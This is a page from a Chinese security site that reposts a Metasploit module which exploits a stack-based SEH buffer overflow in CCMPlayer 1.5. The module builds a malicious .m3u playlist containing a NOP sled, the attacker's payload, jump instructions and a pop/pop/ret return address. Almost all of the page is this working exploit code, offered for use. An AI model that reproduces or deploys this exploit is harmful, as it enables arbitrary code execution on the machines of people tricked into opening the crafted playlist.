首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)
来源:http://www.metasploit.com 作者:Rh0 发布时间:2011-12-01  

# Exploit: CCMPlayer 1.5 Stack based Buffer Overflow SEH Exploit (.m3u)
# Date: 30 Nov 2011
# Author: Rh0
# Software: CCMPlayer 1.5
# Tested on: Windows XP SP3 32-Bit EN (VirtualBox)

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
   'Description'    => %q{
    This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
    a m3u playlist with a long track name, a SEH exception record can be overwritten
    with parts of the controllable buffer. SEH execution is triggered after an
    invalid read of an injectible address, thus allowing arbitrary code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         => ['Rh0'], # discovery and metasploit module
   'Version'        => '0.0',
   'References'     =>
    [
     # for info about "DisapleNops" and "StackAdjustment"
     ['URL', 'http://dev.metasploit.com/redmine/projects/framework/wiki/PortingExploits'],
     # for metasploit fileformat exploit structure and use of Metasm
     ['URL', 'http://www.exploit-db.com/exploits/18142/']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space' => 0x1000,
     'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
     'DisableNops' => 'True',
     'StackAdjustment' => -3500,
    },
   'Platform'  => 'win',
   'Targets'  =>
    [
     [
      'CCMPlayer 1.5 on Windows XP SP3 EN',
      {
       # pop esi / pop ebx / ret (in ccmplay.exe)
       # tweak it if necessary
       'Ret' => 0x00403ca7, # last NULL in buffer is accepted
       'Offset' => 0x1000
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => '30 Nov 2011', # to my knowledge
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
    ], self.class)
 end

 def exploit

  m3u = "C:\\"
  # shellcode
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
  m3u << payload.encoded
  # junk
  m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
  # need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
  # to trigger SEH
  m3u << [0xffffffff].pack("V")
  # pad
  m3u << rand_text_alpha_upper(3)
  # long jmp: jmp far back to shellcode
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
  # NSEH: jmp short back to long jmp instruction
  m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
  # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
  m3u << rand_text_alpha_upper(2)
  # SEH Exception Handler Address -> p/p/r
  m3u << [target.ret].pack("V")
  m3u << ".mp3\r\n" # no crash without it

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
  file_create(m3u)

 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS11-080 Afd.sys Privilege Esc
·IBM Lotus Domino Server Contro
·GOM Player 2.1.33.5071 ASX Fil
·Serv-U FTP Server <4.2 Buffer
·Bugbear FlatOut 2005 Malformed
·AVID Media Composer Phonetic I
·CTEK SkyRouter 4200 and 4300 C
·Final Draft 8 Multiple Stack B
·Java Applet Rhino Script Engin
·StoryBoard Quick 6 Stack Buffe
·Serv-U FTP Server Jail Break
·CoDeSys SCADA v2.3 Remote Expl
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved